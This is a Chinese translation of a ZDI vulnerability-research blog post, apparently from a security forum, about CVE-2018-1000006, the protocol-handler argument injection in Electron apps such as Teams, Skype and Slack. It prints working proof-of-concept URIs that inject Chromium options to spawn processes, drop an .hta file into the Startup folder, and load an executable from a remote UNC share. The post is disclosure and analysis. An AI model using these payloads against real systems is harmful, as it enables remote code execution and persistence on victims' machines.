

## ZDI年度五大漏洞第二弹：Electron——一个技术产物多样性的案例

[Agostop](#) / 2018-12-25 12:54:00 / 浏览数 1929 [技术文章](#) [翻译文章](#) [顶\(0\)](#) [踩\(0\)](#)

原文链接：<https://www.zerodayinitiative.com/blog/2018/12/18/top-5-day-two-electron-boogaloo-a-case-for-technodiversity>

这是我们评选的2018年五大漏洞的第二个案例，这些评选出来的bug都具有一些独特的元素，使得其与今年发布的大约1400条其他报告不同。这篇博客实际上是详细描述了

2017年12月初，我们从长期合作伙伴rgod那里收到了一组存在于谷歌Web Designer ([ZDI-18-552](#))、Microsoft Teams ([ZDI-18-426](#))、Skype ([ZDI-18-308](#))和Slack ([Slack -18-265](#))

Windows桌面客户端中的与协议处理程序相关的远程代码执行漏洞。虽然它们是非常不同的产品，但它们有一个共同点——Electron.js。Electron是一个开发框架，允许开

编号为CVE-2018-1000006的这四个不同的漏洞都可以通过一个的[Electron.js的补丁](#)来修复。这个补丁是从一个下游产品中合并而来的，并不是rgod提交的相关部分。由于

这个漏洞被选为年度前5大漏洞之一的原因是因为它的影响超出了前面提到的4个产品。在修复的版本发布后不久，Tomas Lažauninkas ([@Wflki](#))发现Exodus钱包应用也受到了影响。除此之外，rgod还在利用了Chromium嵌入式框架(一个类似于Electron.js的平台)的应用程序中发现了相同的脆弱性模式，影响Music Player ([ZDI-18-280](#))和Amazon Music Player ([ZDI-18-215](#))的Windows客户端。

## 漏洞

基于Electron.js的的应用程序可以注册一个定制的协议处理程序，以促进深层链接的用户体验模式。这允许用户点击浏览器中自定义的应用程序URI（统一资源标识符），从

谷歌浏览器的一些选项是十分危险的。例如，`--gpu-launcher=`

选项会根据提供的命令创建一个进程，[很多公开可用的PoC代码](#)就利用了这个命令行选项。在rgod给微软团队的提交报告(ZDI-18-426)中，他用以下PoC演示了这种技术：

```
<iframe src='msteams://?' --disable-gpu-sandbox --no-sandbox --gpu-launcher="cmd.exe /c start calc | pause">
```

然而，我们还没有看到任何公开的PoC使用rgod在其他提交文件中所演示的利用技术。在针对影响到谷歌Web

Designer的ZDI-18-552的提交报告中，他利用了其他三个命令行选项来注入.hta

HTML，将应用程序文件放入日志文件中。日志文件由攻击者控制，放置在受害者机器的启动目录中：

```
<a href='gwd-template://?' --type=">>>>>>>>>>>>>>>>>><script> var x=new ActiveXObject("\WScript.Shell");
x.Exec("\calc.exe\");</script>" --no-sandbox --log-
file="c:/Users/Administrator/AppData/Roaming/Microsoft/Windows/STARTM~1/Programs/Startup/suntzu.hta" --log-
severity=verbose / '>click me</a>
```

[illegible]

```
<a href='skype://?' --secondary --browser-subprocess-path=\\192.168.0.1\uncshare\sh.exe '>click me</script>
```

`<a href='slack://\" -user-data-dir=. --browser-subprocess-path=c:/windows/system32/calc.exe '>click me</a>`

`app.setAsDefaultProtocolClient()`来为它的Windows客户端注册一个自定义的URI时，Electron.js会在Windows中创建一个新的注册表项。下面是Electron.js如何在未修复Windows客户端上注册了自定义协议：

---

```
[HKEY_CLASSES_ROOT\slack]
```

```
"URL Protocol"=""
```

```
@="URL:slack"
```

```
[HKEY_CLASSES_ROOT\slack\shell]
```

```
[HKEY_CLASSES_ROOT\slack\shell\open]
```

```
[HKEY_CLASSES_ROOT\slack\shell\open\command]
```

```
@="\"C:\\Users\\Administrator\\AppData\\Local\\slack\\app-3.0.0\\slack.exe\" \"%1\""
```

根据微软的文档，这个注册会将slack.exe设置为定制slack://

URI模式的处理程序，整个URI将会替换"%1"字符串并且作为命令行选项传递给处理程序。Microsoft已经在文档中记录了简单字符串替换的潜在安全风险。

Electron.js的开发者不仅在默认情况下没有以安全的方式注册处理程序，他们也没有就微软文档中提出的潜在安全问题进行讨论。我们可以看到[最新版的Electron.js](#)中在默认

```
208 bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
209                                         mate::Arguments* args) {
210     // HKEY_CLASSES_ROOT
211     //     $PROTOCOL
212     //     (Default) = "URL:$NAME"
213     //     URL Protocol = ""
214     //     shell
215     //     open
216     //     command
217     //     (Default) = "$COMMAND" "%1"
218     //
219     // However, the "HKEY_CLASSES_ROOT" key can only be written by the
220     // Administrator user. So, we instead write to "HKEY_CURRENT_USER\
221     // Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
222     // anyway, and can be written by unprivileged users.
223
224     if (protocol.empty())
225         return false;
226
227     base::string16 exe;
228     if (!GetProtocolLaunchPath(args, &exe))
229         return false;
230
231     // Main Registry Key
232     HKEY root = HKEY_CURRENT_USER;
233     base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
234     base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);
235
236     // Command Key
237     base::string16 cmdPath = keyPath + L"\\shell\\open\\command";
238
239     // Write information to registry
240     base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
241     if (FAILED(key.SetValue(L"URL Protocol", L"")) ||
242         FAILED(key.SetValue(L"", urlDecl.c_str())))
243         return false;
244
245     base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
246     if (FAILED(commandKey.SetValue(L"", exe.c_str())))
247         return false;
248
249     return true;
250 }
```

## 总结

Electron是一种很受欢迎的技术，它利用Chromium封装特定于平台的实现细节，使大量JavaScript开发人员能够快速编写跨平台桌面应用程序。单一技术在计算领域的普及

你可以关注我的Twitter [@TrendyTofu](#)，或者关注我们的[团队](#)以了解最新的漏洞利用技术和安全补丁。请继续关注将于明天发布的下一个年度五大漏洞相关博客。

点击收藏 | 1 关注 | 1

[上一篇：数据驱动安全方法论浅谈](#) [下一篇：虚假海啸警报恶意攻击的详细分析](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)